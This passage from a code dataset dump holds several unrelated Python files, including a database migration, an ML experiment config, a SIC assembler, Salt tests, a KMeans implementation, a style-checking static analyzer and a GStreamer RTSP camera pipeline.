sa.String(length=60), nullable=True),\n sa.Column('desc', sa.String(length=200), nullable=True),\n sa.Column('status', sa.String(length=60), nullable=True),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('name')\n )\n op.add_column(u'employees', sa.Column('issue_id', sa.Integer(), nullable=True))\n op.create_foreign_key(None, 'employees', 'issues', ['issue_id'], ['id'])\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(None, 'employees', type_='foreignkey')\n op.drop_column(u'employees', 'issue_id')\n op.drop_table('issues')\n # ### end Alembic commands ###\n","repo_name":"plovmaker222/flaskproj","sub_path":"proj/migrations/versions/c5988fdbc98a_.py","file_name":"c5988fdbc98a_.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"42309354942","text":"\"\"\"Experiment Configuration\"\"\"\nimport os\nimport re\nimport glob\nimport itertools\n\nimport sacred\nfrom sacred import Experiment\nfrom sacred.observers import FileStorageObserver\nfrom sacred.utils import apply_backspaces_and_linefeeds\n\nsacred.SETTINGS['CONFIG']['READ_ONLY_CONFIG'] = False\nsacred.SETTINGS.CAPTURE_MODE = 'no'\n\nex = Experiment('PANetExt')\nex.captured_out_filter = apply_backspaces_and_linefeeds\n\nsource_folders = ['.', './dataloaders', './models', './util']\nsources_to_save = list(itertools.chain.from_iterable(\n [glob.glob(f'{folder}/*.py') for folder in source_folders]))\nfor source_file in sources_to_save:\n ex.add_source_file(source_file)\n\n@ex.config\ndef cfg():\n \"\"\"Default configurations\"\"\"\n input_size = (417, 417)\n seed = 1234\n cuda_visable = '0, 1, 2, 3, 4, 5, 6, 7'\n gpu_id = 0\n mode = 'visualize' # 'train' or 'test' or 'visualize\n label_sets = None\n details = 'Base PANet configuration'\n\n if mode == 'train':\n dataset = 'VOC' # 'VOC' or 'COCO'\n n_steps = 30000\n label_sets = 0\n batch_size = 1\n lr_milestones = [10000, 20000, 30000]\n align_loss_scaler = 1\n ignore_label = 255\n print_interval = 100\n save_pred_every = 10000\n\n model = {\n 'align': True,\n 'ctm': False,\n }\n\n task = {\n 'n_ways': 1,\n 'n_shots': 5,\n 'n_queries': 1,\n }\n\n optim = {\n 'lr': 1e-3,\n 'momentum': 0.9,\n 'weight_decay': 0.0005,\n }\n\n elif mode == 'test':\n notrain = False\n snapshot = './runs/PANetExt_VOC_[train]_align_1way_5shot_split0/1/snapshots/30000.pth'\n n_runs = 5\n n_steps = 1000\n batch_size = 1\n train_seed = seed # To log which seed was used in the training phase\n\n # Set dataset config from the snapshot string\n if 'VOC' in snapshot:\n dataset = 'VOC'\n elif 'COCO' in snapshot:\n dataset = 'COCO'\n else:\n raise ValueError('Wrong snapshot name !')\n\n # Set model config from the snapshot string\n model = {}\n for key in ['align', 'ctm']:\n model[key] = key in snapshot\n\n # Set label_sets from the snapshot string\n label_sets = int(snapshot.split('_split')[1][0])\n\n # Set task config from the snapshot string\n task = {\n 'n_ways': int(re.search(\"[0-9]+way\", snapshot).group(0)[:-3]),\n 'n_shots': int(re.search(\"[0-9]+shot\", snapshot).group(0)[:-4]),\n 'n_queries': 1,\n }\n elif mode == 'visualize':\n experiment_id = 'last'\n dataset = 'VOC'\n task = {\n 'n_ways': 1,\n 'n_shots': 1,\n 'n_queries': 1,\n }\n\n model = {\n 'align': True,\n }\n n_runs = 5\n # Code for visualization works only for four sets right now,\n # If we add a dataset with more sets, we should change the visualize script\n n_sets = 4\n train_seed = seed\n else:\n raise ValueError('Wrong configuration for \"mode\" !')\n\n\n exp_str = '_'.join(\n [dataset,]\n + [f'[{mode}]']\n + [key for key, value in model.items() if value]\n + [f'{task[\"n_ways\"]}way_{task[\"n_shots\"]}shot']\n + ([] if label_sets is None else [f'split{label_sets}']))\n\n\n path = {\n 'log_dir': './runs',\n 'init_path': './pretrained_model/vgg16-397923af.pth',\n 'VOC':{'data_dir': './data/Pascal/VOCdevkit/VOC2012/',\n 'data_split': 'trainaug',},\n 'COCO':{'data_dir': './data/COCO/',\n 'data_split': 'train',},\n }\n\n@ex.config_hook\ndef add_observer(config, command_name, logger):\n \"\"\"A hook fucntion to add observer\"\"\"\n exp_name = f'{ex.path}_{config[\"exp_str\"]}'\n observer = FileStorageObserver.create(os.path.join(config['path']['log_dir'], exp_name))\n ex.observers.append(observer)\n return config\n","repo_name":"maumruiz/Few-shot-semantic-segmentation","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":3984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"11596637775","text":"import logging\n\nfrom twilio.request_validator import RequestValidator\nfrom twilio.rest import Client\n\nfrom django.apps import AppConfig\nfrom django.conf import settings\n\n\nlogger = logging.getLogger(\"events\")\n\n\nclass PhonesConfig(AppConfig):\n name = \"phones\"\n\n def __init__(self, app_name, app_module):\n super(PhonesConfig, self).__init__(app_name, app_module)\n try:\n self._twilio_client = Client(\n settings.TWILIO_ACCOUNT_SID, settings.TWILIO_AUTH_TOKEN\n )\n self._twilio_validator = RequestValidator(settings.TWILIO_AUTH_TOKEN)\n except Exception:\n logger.exception(\"exception creating Twilio client and/or validator\")\n if settings.TWILIO_TEST_ACCOUNT_SID:\n try:\n self._twilio_test_client = Client(\n settings.TWILIO_TEST_ACCOUNT_SID, settings.TWILIO_TEST_AUTH_TOKEN\n )\n except Exception:\n logger.exception(\"exception creating Twilio test client\")\n\n @property\n def twilio_client(self):\n return self._twilio_client\n\n @property\n def twilio_test_client(self):\n return self._twilio_test_client\n\n @property\n def twilio_validator(self):\n return self._twilio_validator\n","repo_name":"uniteddiversity/fx-private-relay","sub_path":"phones/apps.py","file_name":"apps.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"10677558859","text":"from binarytree import Node\n\noptab = {\n\t\"ADD\":\"18\",\n\t\"AND\":\"40\",\n\t\"COMP\":\"28\",\n\t\"DIV\":\"24\",\n\t\"J\":\"3C\",\n\t\"JEQ\":\"30\",\n\t\"JGT\":\"34\",\n\t\"JLT\":\"38\",\n\t\"JSUB\":\"48\",\n\t\"LDA\":\"00\",\n\t\"LDCH\":\"50\",\n\t\"LDL\":\"08\",\n\t\"LDX\":\"04\",\n\t\"MUL\":\"20\",\n\t\"OR\":\"44\",\n\t\"RD\":\"D8\",\n\t\"RSUB\":\"4C\",\n\t\"STA\":\"0C\",\n\t\"STCH\":\"54\",\n\t\"STL\":\"14\",\n\t\"STSW\":\"E8\",\n\t\"STX\":\"10\",\n\t\"SUB\":\"1C\",\n\t\"TD\":\"E0\",\n\t\"TIX\":\"2C\",\n\t\"WD\":\"DC\"\n}\n\nline_elem = []\ntree = Node()\n# sym = {}\n\n\nwith open('input.txt','r') as test_input:\n first_line = test_input.readline().split()\n LOCCTR = first_line[2]\n tree.insert(first_line[0], hex(int(LOCCTR,16)))\n # with open('SymbolTab.txt','w') as Symbol_output:\n for line in test_input.readlines():\n line_elem = line.split()\n # sym[line_elem[0]] = hex(int(LOCCTR,16))\n\n if line_elem[0] != '-':\n tree.insert(line_elem[0], LOCCTR)\n\n if line_elem[1] in optab or line_elem[1] == 'WORD':\n LOCCTR = hex(int(LOCCTR,16)+3)\n elif line_elem[1] == \"RESW\":\n temp = hex(int(line_elem[2])*3)\n LOCCTR = hex(int(LOCCTR,16)+int(temp,16))\n elif line_elem[1]==\"RESB\":\n LOCCTR = hex(int(LOCCTR,16)+int(line_elem[2]))\n elif line_elem[1]==\"BYTE\":\n if line_elem[2][0]==\"X\":\n LOCCTR = hex(int(LOCCTR,16)+(len(line_elem[2])-3)/2)\n elif line_elem[2][0]==\"C\":\n LOCCTR = hex(int(LOCCTR,16)+(len(line_elem[2])-3))\n\ntree.inorder()\n\n","repo_name":"zelunlun/SIC_Assembler","sub_path":"Assembler_passone.py","file_name":"Assembler_passone.py","file_ext":"py","file_size_in_byte":1443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12855043984","text":"\"\"\"\n :codeauthor: Jayesh Kariya \n\"\"\"\n\nimport pytest\n\nimport salt.states.status as status\nfrom tests.support.mock import MagicMock, patch\n\n\n@pytest.fixture\ndef configure_loader_modules():\n return {status: {}}\n\n\ndef test_loadavg():\n \"\"\"\n Test to return the current load average for the specified minion.\n \"\"\"\n name = \"mymonitor\"\n\n ret = {\"name\": name, \"changes\": {}, \"result\": True, \"data\": {}, \"comment\": \"\"}\n\n mock = MagicMock(return_value=[])\n with patch.dict(status.__salt__, {\"status.loadavg\": mock}):\n comt = \"Requested load average mymonitor not available \"\n ret.update({\"comment\": comt, \"result\": False})\n assert status.loadavg(name) == ret\n\n mock = MagicMock(return_value={name: 3})\n with patch.dict(status.__salt__, {\"status.loadavg\": mock}):\n comt = \"Min must be less than max\"\n ret.update({\"comment\": comt, \"result\": False})\n assert status.loadavg(name, 1, 5) == ret\n\n comt = \"Load avg is below minimum of 4 at 3.0\"\n ret.update({\"comment\": comt, \"data\": 3})\n assert status.loadavg(name, 5, 4) == ret\n\n comt = \"Load avg above maximum of 2 at 3.0\"\n ret.update({\"comment\": comt, \"data\": 3})\n assert status.loadavg(name, 2, 1) == ret\n\n comt = \"Load avg in acceptable range\"\n ret.update({\"comment\": comt, \"result\": True})\n assert status.loadavg(name, 3, 1) == ret\n\n\ndef test_process():\n \"\"\"\n Test to return whether the specified signature\n is found in the process tree.\n \"\"\"\n name = \"mymonitor\"\n\n ret = {\"name\": name, \"changes\": {}, \"result\": True, \"data\": {}, \"comment\": \"\"}\n\n mock = MagicMock(side_effect=[{}, {name: 1}])\n with patch.dict(status.__salt__, {\"status.pid\": mock}):\n comt = 'Process signature \"mymonitor\" not found '\n ret.update({\"comment\": comt, \"result\": False})\n assert status.process(name) == ret\n\n comt = 'Process signature \"mymonitor\" was found '\n ret.update({\"comment\": comt, \"result\": True, \"data\": {name: 1}})\n assert status.process(name) == ret\n","repo_name":"saltstack/salt","sub_path":"tests/pytests/unit/states/test_status.py","file_name":"test_status.py","file_ext":"py","file_size_in_byte":2102,"program_lang":"python","lang":"en","doc_type":"code","stars":13606,"dataset":"github-code","pt":"78"} +{"seq_id":"22694647040","text":"#\n# @lc app=leetcode.cn id=300 lang=python3\n#\n# [300] 最长递增子序列\n#\n\n# @lc code=start\nclass Solution:\n def lengthOfLIS(self, nums: List[int]) -> int:\n\n # # method 1 动态规划\n # n = len(nums)\n # if n <= 1:\n # return n\n # # 使用动态规划\n # # dp[i] 表示:以 nums[i] 结尾 的“上升子序列”的长度。注意:这个定义中 nums[i] 必须被选取,且必须是这个子序列的最后一个元素\n # # 时间O(n^2) 空间O(n)\n # dp = []\n # for i in range(n):\n # dp.append(1)\n # for j in range(i):\n # if nums[i]>nums[j]:\n # dp[i] = max(dp[j]+1,dp[i])\n # return max(dp)\n\n # method 2 贪心+二分法\n \n # d[i],表示长度为 i 的最长上升子序列的末尾元素的最小值,用 len 记录目前最长上升子序列的长度,\n tail = []\n length = len(nums)\n for value in nums:\n if not tail or value>tail[-1]:\n tail.append(value)\n else:\n l,r=0,len(tail)-1\n cur = r\n while l<=r:\n mid = (l+r)//2\n if tail[mid] >=value:\n r = mid - 1\n cur = mid\n else:\n l = mid + 1\n tail[cur] = value\n return len(tail)\n\n\n\n# @lc code=end\n\n","repo_name":"wangkai997/leetcode","sub_path":"300.最长递增子序列.py","file_name":"300.最长递增子序列.py","file_ext":"py","file_size_in_byte":1463,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"72722723133","text":"item_categories = input().split(', ')\r\ncategories = {category: [] for category in item_categories}\r\nn = int(input())\r\ncount_items = 0\r\nquality_items = 0\r\nfor _ in range(n):\r\n items = input().split(' - ')\r\n quantity, quality = items[2].split(';')\r\n count_items += int((quantity.split(':'))[1])\r\n quality_items += int((quality.split(':'))[1])\r\n categories[items[0]].append(items[1])\r\nprint(f'Count of items: {count_items}')\r\nprint(f'Average quality: {(quality_items/len(categories)):.2f}')\r\nprint(*[f'{name} -> {\", \".join(value)}' for name, value in categories.items()], sep='\\n')","repo_name":"Damyanmd/softuni_python","sub_path":"Advance/Comprehension/Bunker.py","file_name":"Bunker.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"74078413052","text":"# -*- coding: utf-8 -*-\n\n# author: Benjamin Chamand, Thomas Pellegrini\n\nimport shutil\n\nimport numpy as np\n\nfrom utils import plot_training\n\n\nclass KMeans(object):\n def __init__(self, n_clusters:int, max_iter:int, early_stopping:bool=False,\n tol:float=1e-4, display:bool=False) -> None:\n self.n_clusters = n_clusters # Nombre de clusters\n self.max_iter = max_iter # Nombre d'itérations\n self.early_stopping = early_stopping # arrête l'apprentissage si \n self.tol = tol # seuil de tolérance entre 2 itérations\n self.display = display # affichage des données\n\n self.cluster_centers = None # Coordonnées des centres des clusters\n # (centre de gravité des classes)\n \n def _compute_distances(self, v1:np.ndarray, v2:np.ndarray) -> np.ndarray:\n \"\"\"Retourne les distances quadratiques entre les arrays v1 et v2, de dimensions quelconques (squared euclidian distance)\n \"\"\"\n # A faire en une seule ligne de code si possible (pas de boucle)\n #return ((v1 - v2)**2).sum(axis = 1)\n return np.linalg.norm(v1 - v2, axis=-1) ** 2\n # pass\n \n def _compute_inertia(self, X:np.ndarray, y:np.ndarray) -> float:\n \"\"\"Retourne la Sum of Squared Errors entre les points et le centre de leur\n cluster associe\n \"\"\"\n #dict = {index:x for index, x in enumerate(self.cluster_centers) }\n somme=0\n for i in range(len(X)):\n # '''On parcours les valeurs de X en calculant la difference de chaque point\n # avec le centroide de la classe correspondant a ce point\n # en utilisan la methode _compute_distances \n # '''\n somme+=self._compute_distances(X[i],self.cluster_centers[y[i]])\n #print(X[i],self.cluster_centers[y[i]])\n \n return somme\n \n\n \n def _update_centers(self, X:np.ndarray, y:np.ndarray) -> None:\n \"\"\"Recalcule les coordonnées des centres des clusters\n \"\"\"\n count=np.zeros(self.n_clusters)\n centers=np.zeros((self.n_clusters,len(X[0])))\n for i,val in enumerate(X):\n centers[y[i]]+=val\n count[y[i]]+=1\n \n self.cluster_centers=centers/count.reshape(self.n_clusters,1)\n \n \n\n\n \n def predict(self, X:np.ndarray) -> np.ndarray:\n \"\"\"attribue un indice de cluster à chaque point de data\n\n X = données\n y = cluster associé à chaque donnée\n \"\"\"\n # nombre d'échantillons\n n_data = X.shape[0]\n y = np.zeros(n_data, dtype=int)\n for i in range(n_data):\n dist = self._compute_distances(X[i],self.cluster_centers)\n y[i] = np.argmin(dist)\n \n\n return y\n\n\n def fit(self, X:np.ndarray) -> None:\n \"\"\"Apprentissage des centroides\n \"\"\"\n # Récupère le nombre de données\n n_data = X.shape[0]\n\n # Sauvegarde tous les calculs de la somme des distances euclidiennes pour l'affichage\n if self.display:\n shutil.rmtree('./img_training', ignore_errors=True)\n metric = []\n\n # 2 cas à traiter : \n # - soit le nombre de clusters est supérieur ou égale au nombre de données\n # - soit le nombre de clusters est inférieur au nombre de données\n if self.n_clusters >= n_data:\n # Initialisation des centroides : chacune des données est le centre d'un clusteur\n self.cluster_centers = np.zeros(self.n_clusters, X.shape[1])\n self.cluster_centers[:n_data] = X\n else:\n # Initialisation des centroides\n #self.cluster_centers = X[:self.n_clusters,:]\n self.cluster_centers = X[np.random.choice(X.shape[0], size=self.n_clusters , replace = False)]\n\n # initialisation d'un paramètre permettant de stopper les itérations lors de la convergence\n stabilise = False\n\n # Exécution de l'algorithme sur plusieurs itérations\n for i in range(self.max_iter):\n # détermine le numéro du cluster pour chacune de nos données\n y = self.predict(X)\n\n # calcule de la somme des distances initialiser le paramètres\n # de la somme des distances\n if i == 0:\n current_distance = self._compute_inertia(X, y)\n\n # mise à jour des centroides\n self._update_centers(X, y)\n #print(\" nouvau center\",self.cluster_centers.shape)\n\n # mise à jour de la somme des distances\n old_distance = current_distance\n current_distance = self._compute_inertia(X, y)\n\n # stoppe l'algorithme si la somme des distances quadratiques entre \n # 2 itérations est inférieur au seuil de tolérance\n if self.early_stopping:\n # A compléter\n if old_distance-current_distance < self.tol :\n stabilise=True\n \n #stabilise = ....\n if stabilise:\n break\n\n # affichage des clusters\n if self.display:\n diff = abs(old_distance - current_distance)\n metric.append(diff)\n #print(X)\n #plot_training(i, X[:,2:], y, self.cluster_centers[:,2:], metric)\n plot_training(i, X, y, self.cluster_centers, metric)\n\n def score(self, X:np.ndarray, y:np.ndarray) -> float:\n \"\"\"Calcule le score de pureté\n \"\"\"\n n_data = X.shape[0]\n\n y_pred = self.predict(X)\n\n score = 0\n for i in range(self.n_clusters):\n _, counts = np.unique(y[y_pred == i], return_counts=True) \n score += counts.max()\n\n score /= n_data\n\n return score\n","repo_name":"Benjamin-KLMG/IAA","sub_path":"TP1_/kmeans.py","file_name":"kmeans.py","file_ext":"py","file_size_in_byte":6066,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"7885295893","text":"import re\nimport os.path\nimport sys\nimport time\n\n\nclass CodeAnalyzer(object):\n error_codes = {1: \"S001 Too long\",\n 2: \"S002 Indentation is not a multiple of four\",\n 3: \"S003 Unnecessary semicolon\",\n 4: \"S004 At least two spaces required before inline comments\",\n 5: \"S005 TODO found\",\n 6: \"S006 More than two blank lines used before this line\",\n 7: \"S007 Too many spaces after construction_name (def or class)\",\n 8: \"S008 Class name class_name should be written in CamelCase\",\n 9: \"S009 Function name function_name should be written in snake_case\"}\n template_camel = r\"(^[A-Z][a-z0-9]+)([A-Z][a-z0-9]+)*\\s*(\\(.*\\))?:?$\"\n template_snake = r\"(^[_a-z0-9]+)(_[a-z0-9]+)*\\s*(\\(.*\\))?:?$\"\n\n def __init__(self, file):\n self.file = file\n try:\n with open(self.file) as f:\n self.file_lines = f.readlines()\n except FileNotFoundError:\n print(\"Path Does not exist\")\n self.file_lines = []\n self.errors = []\n\n @staticmethod\n def sub_quotes(source) -> list:\n return re.findall('\"([^\"]*)\"', source)\n\n def error_add(self, line, error_code):\n \"\"\"Adds error code, line is number of line where is the error occurred, error code is self explanatory\"\"\"\n self.errors.append([line, error_code]) # line and code\n\n def class_check_lines_length(self):\n if len(self.line) > 79:\n self.error_add(self.counter + 1, 1)\n\n def class_check_indent(self):\n if self.line.startswith(\" \"):\n indent_len = len(self.line) - len(self.line.lstrip(\" \"))\n if indent_len % 4 != 0:\n self.error_add(self.counter + 1, 2)\n\n def class_check_semicolon(self):\n data = self.line.split(\"#\")[0].rstrip()\n try:\n if data[-1] == \";\":\n self.error_add(self.counter + 1, 3)\n except IndexError:\n pass\n\n def class_check_inline_comment(self):\n data = self.line.split(\"#\")\n try:\n if data[1]:\n indent_len = len(data[0]) - len(data[0].rstrip(\" \"))\n if indent_len < 2 and len(data[0]) > 1:\n self.error_add(self.counter + 1, 4)\n except IndexError:\n pass\n\n def class_check_todo(self):\n line = self.line\n if \"#\" in line and \"todo\" in line.lower():\n if line.index(\"#\") < line.lower().index(\"todo\"):\n self.error_add(self.counter + 1, 5)\n\n def local_check_lines_length(self, counter, line):\n if len(line) > 79:\n self.error_add(counter + 1, 1)\n\n def local_check_indent(self, counter, line):\n if line.startswith(\" \"):\n indent_len = len(line) - len(line.lstrip(\" \"))\n if indent_len % 4 != 0:\n self.error_add(counter + 1, 2)\n\n def local_check_semicolon(self, counter, line):\n data = line.split(\"#\")[0].rstrip()\n try:\n if data[-1] == \";\":\n self.error_add(counter + 1, 3)\n except IndexError:\n pass\n\n def local_check_inline_comment(self, counter, line):\n data = line.split(\"#\")\n try:\n if data[1]:\n indent_len = len(data[0]) - len(data[0].rstrip(\" \"))\n if indent_len < 2 and len(data[0]) > 1:\n self.error_add(counter + 1, 4)\n except IndexError:\n pass\n\n def local_check_todo(self, counter, line):\n if \"#\" in line and \"todo\" in line.lower():\n if line.index(\"#\") < line.lower().index(\"todo\"):\n self.error_add(counter + 1, 5)\n\n def check_lines_length(self):\n for counter, line in enumerate(self.file_lines):\n if len(line) > 79:\n self.error_add(counter + 1, 1)\n\n def check_indent(self):\n for counter, line in enumerate(self.file_lines):\n if line.startswith(\" \"):\n indent_len = len(line) - len(line.lstrip(\" \"))\n if indent_len % 4 != 0:\n self.error_add(counter + 1, 2)\n\n def check_semicolon(self):\n for counter, line in enumerate(self.file_lines):\n data = line.split(\"#\")[0].rstrip()\n try:\n if data[-1] == \";\":\n self.error_add(counter + 1, 3)\n except IndexError:\n pass\n\n def check_inline_comment(self):\n for counter, line in enumerate(self.file_lines):\n data = line.split(\"#\")\n try:\n if data[1]:\n indent_len = len(data[0]) - len(data[0].rstrip(\" \"))\n if indent_len < 2 and len(data[0]) > 1:\n self.error_add(counter + 1, 4)\n except IndexError:\n pass\n\n def check_todo(self):\n for counter, line in enumerate(self.file_lines):\n if \"#\" in line and \"todo\" in line.lower():\n if line.index(\"#\") < line.lower().index(\"todo\"):\n self.error_add(counter + 1, 5)\n\n def check_new_lines(self):\n blank_lines_count = 0\n for counter, line in enumerate(self.file_lines):\n if line == \"\\n\":\n blank_lines_count += 1\n continue\n if line != \"\\n\" and blank_lines_count < 3:\n blank_lines_count = 0\n continue\n if line != \"\\n\" and blank_lines_count > 2:\n self.error_add(counter + 1, 6)\n blank_lines_count = 0\n continue\n\n @staticmethod\n def sub_parentheses(original_string):\n start_index = original_string.find(\"(\")\n if start_index != -1:\n try:\n end_index = original_string.index(\")\")\n except ValueError:\n print(\"SyntaxError: '(' was never closed\")\n # so there can be something implemented\n return None\n else:\n return original_string[start_index + 1:end_index]\n else:\n return None\n\n def check_camel_case(self):\n for counter, line in enumerate(self.file_lines):\n line = line.lstrip().rstrip()\n if line.startswith(\"class\"):\n line = line.removeprefix(\"class\").lstrip()\n if not line or line == \":\":\n print(\"camel case empty\")\n continue\n variable = re.search(CodeAnalyzer.template_camel, line)\n if not variable:\n self.error_add(counter + 1, 8)\n continue\n\n def check_spacing_after_name(self):\n for counter, line in enumerate(self.file_lines):\n line = line.lstrip().rstrip()\n if line.startswith(\"class\") or line.startswith(\"def\"):\n if re.search(r\"^def \", line) is not None or re.search(r\"class \", line) is not None:\n self.error_add(counter + 1, 7)\n\n def check_snake_case(self):\n for counter, line in enumerate(self.file_lines):\n line = line.lstrip().rstrip(\" \\n:\")\n if line.startswith(\"def\"):\n line = line.removeprefix(\"def\").lstrip()\n if not line or line == \":\":\n print(\"snake case empty\")\n continue\n variable = re.search(CodeAnalyzer.template_snake, line)\n if not variable:\n self.error_add(counter + 1, 9)\n continue\n\n def pep_checks_wrapper(self):\n \"\"\"for self.counter, self.line in enumerate(self.file_lines):\n self.class_check_lines_length()\n self.class_check_indent()\n self.class_check_semicolon()\n self.class_check_inline_comment()\n self.class_check_todo()\n for counter, line in enumerate(self.file_lines):\n self.local_check_lines_length(counter, line)\n self.local_check_indent(counter, line)\n self.local_check_semicolon(counter, line)\n self.local_check_inline_comment(counter, line)\n self.local_check_todo(counter, line)\"\"\"\n self.check_lines_length()\n self.check_indent()\n self.check_semicolon()\n self.check_inline_comment()\n self.check_todo()\n self.check_new_lines()\n self.check_camel_case()\n self.check_snake_case()\n self.check_spacing_after_name()\n\n def getter_filename(self):\n return self.file\n\n def __str__(self):\n self.errors.sort()\n for error in self.errors:\n print(f'{self.file}: Line {error[0]}: {CodeAnalyzer.error_codes[error[1]]}')\n return \"\"\n\n\nclass FileFinder(object):\n\n def __init__(self, path):\n self.path = path\n self.pats = path\n self.exec = []\n if os.path.isdir(path):\n files = os.listdir(path)\n files.sort()\n for file in files:\n if file.endswith(\".py\"):\n self.exec.append(CodeAnalyzer(os.path.join(path, file)))\n elif os.path.isfile(self.path):\n self.exec.append(CodeAnalyzer(self.path))\n else:\n dir_content = os.listdir(self.path)\n print(dir_content)\n print(\"sorry your path is not gonna make it\")\n\n \"\"\"elif self.path.endswith(\".py\"):\n os.path.isfile(path)\n self.exec.append(CodeAnalyzer(self.path))\"\"\"\n\n def execute_(self):\n for file in self.exec:\n # print(f\"file: {file.getter_filename()}\")\n file.pep_checks_wrapper()\n print(file, end=\"\")\n\n\ndef timer(func):\n def wrapper(args_for_function):\n start = time.time()\n for i in range(10000):\n func(args_for_function)\n end = time.time()\n print('func takes', (end - start)/10000, 'seconds')\n\n return wrapper\n\n\n@timer\ndef func1(arg):\n new = FileFinder(arg)\n new.execute_()\n del new\n\nif __name__ == \"__main__\":\n #print(f\"Arguments count: {len(sys.argv)}\")\n for i, arg in enumerate(sys.argv):\n if i > 0:\n #print(f\"i = {i}: _{arg}_\")\n #func1(arg)\n new = FileFinder(arg)\n new.execute_()\n del new\n\n","repo_name":"Ttwycros/Static-Code-Analyzer","sub_path":"Static Code Analyzer stage 4.py","file_name":"Static Code Analyzer stage 4.py","file_ext":"py","file_size_in_byte":10301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"28241959594","text":"import os\r\nimport config\r\n\r\nfrom gi.repository import Gst, GLib\r\nimport sys\r\nimport gi\r\n\r\ngi.require_version('Gst', '1.0')\r\n\r\n# gst pipeline\r\n# gst-launch-1.0 rtspsrc location='rtsp://makepluscode:000000@192.168.219.155/stream1' ! rtph264depay ! h264parse ! decodebin ! autovideosink\r\n\r\n\r\ndef graph_pipeline(pipeline):\r\n Gst.debug_bin_to_dot_file(pipeline, Gst.DebugGraphDetails.ALL,\r\n \"pipeline\")\r\n try:\r\n os.system(\"dot -Tpng -o ./pipeline.png ./pipeline.dot\")\r\n except Exception as e:\r\n print(e)\r\n\r\n\r\ndef on_message(bus: Gst.Bus, message: Gst.Message, loop: GLib.MainLoop):\r\n msg = message.type\r\n # print(\"on_message : \" + msg)\r\n if msg == Gst.MessageType.EOS:\r\n print(\"on_message : End Of Stream\")\r\n loop.quit()\r\n\r\n elif msg == Gst.MessageType.WARNING:\r\n err, debug = message.parse_warning()\r\n print(\"on_message : Warnning -\", err, debug)\r\n\r\n elif msg == Gst.MessageType.ERROR:\r\n err, debug = message.parse_error()\r\n print(\"on_message : Error -\", err, debug)\r\n loop.quit()\r\n\r\n elif msg == Gst.MessageType.INFO:\r\n err, debug = message.parse_info()\r\n print(\"on_message : Info -\", err, debug)\r\n\r\n return True\r\n\r\n\r\ncnt = 0\r\n\r\n\r\ndef on_buffer(sink, data):\r\n global cnt\r\n sample = sink.emit(\"pull-sample\")\r\n buffer = sample.get_buffer()\r\n print(\"on_buffer: frame count -\", cnt)\r\n cnt = cnt + 1\r\n return True\r\n\r\n\r\ndef create_pipepline(pipeline: Gst.Pipeline):\r\n src = Gst.ElementFactory.make(\"rtspsrc\", \"src\")\r\n src.set_property(\r\n \"location\", \"rtsp://\" + config.USERNAME + \":\" + config.PASSWORD + \"@\" + config.IPADDRESS + \"/stream1\")\r\n src.set_property(\"latency\", 0)\r\n src.set_property(\"drop-on-latency\", True)\r\n src.set_property(\"udp-buffer-size\", 2097152)\r\n src.set_property(\"do-rtsp-keep-alive\", 1)\r\n\r\n queue = Gst.ElementFactory.make(\"queue\", \"queue\")\r\n queue.set_property(\"max-size-buffers\", 4)\r\n depay = Gst.ElementFactory.make(\"rtph264depay\", \"depay\")\r\n parse = Gst.ElementFactory.make(\"h264parse\", \"parse\")\r\n decode = Gst.ElementFactory.make(\"avdec_h264\", \"decode\")\r\n convert = Gst.ElementFactory.make(\"videoconvert\", \"convert\")\r\n videorate = Gst.ElementFactory.make(\"videorate\", \"videorate\")\r\n caps = Gst.Caps.from_string(\"video/x-raw, framerate=30/1\")\r\n sink = Gst.ElementFactory.make(\"appsink\", \"sink\")\r\n sink.set_property(\"emit-signals\", True)\r\n sink.set_property(\"max-buffers\", 2)\r\n sink.set_property(\"drop\", True)\r\n sink.set_property(\"sync\", False)\r\n\r\n if (not src or not depay or not parse or not decode or not convert or not sink):\r\n print(\"ERROR: Not all elements could be created.\")\r\n sys.exit(1)\r\n\r\n pipeline.add(src)\r\n pipeline.add(queue)\r\n pipeline.add(depay)\r\n pipeline.add(parse)\r\n pipeline.add(decode)\r\n pipeline.add(convert)\r\n pipeline.add(videorate)\r\n pipeline.add(sink)\r\n\r\n def on_rtspsrc_pad_added(rtspsrc, pad, depay):\r\n string = pad.query_caps(None).to_string()\r\n print(pad.name)\r\n print(string)\r\n src.link(queue)\r\n queue.link(depay)\r\n\r\n src.connect(\"pad-added\", on_rtspsrc_pad_added, depay)\r\n\r\n ret = depay.link(parse)\r\n ret = ret and parse.link(decode)\r\n ret = ret and decode.link(convert)\r\n ret = ret and convert.link(videorate)\r\n ret = ret and videorate.link_filtered(sink, caps)\r\n\r\n if not ret:\r\n print(\"ERROR: Elements could not be linked\")\r\n sys.exit(1)\r\n else:\r\n print(\"DONE: Elements could be linked\")\r\n\r\n sink.connect(\"new-sample\", on_buffer, sink)\r\n return True\r\n\r\n\r\ndef main():\r\n Gst.init(sys.argv)\r\n\r\n Gst.debug_set_active(True)\r\n Gst.debug_set_default_threshold(3)\r\n\r\n # create a pipeline with factory\r\n pipeline = Gst.Pipeline()\r\n\r\n create_pipepline(pipeline)\r\n\r\n pipeline.set_state(Gst.State.PLAYING)\r\n\r\n loop = GLib.MainLoop()\r\n\r\n # connect bus to catch signal from the pipeline\r\n bus = pipeline.get_bus()\r\n bus.add_signal_watch()\r\n bus.connect(\"message\", on_message, loop)\r\n\r\n graph_pipeline(pipeline)\r\n\r\n # run\r\n try:\r\n loop.run()\r\n except:\r\n pass\r\n\r\n # if fails, then clean\r\n 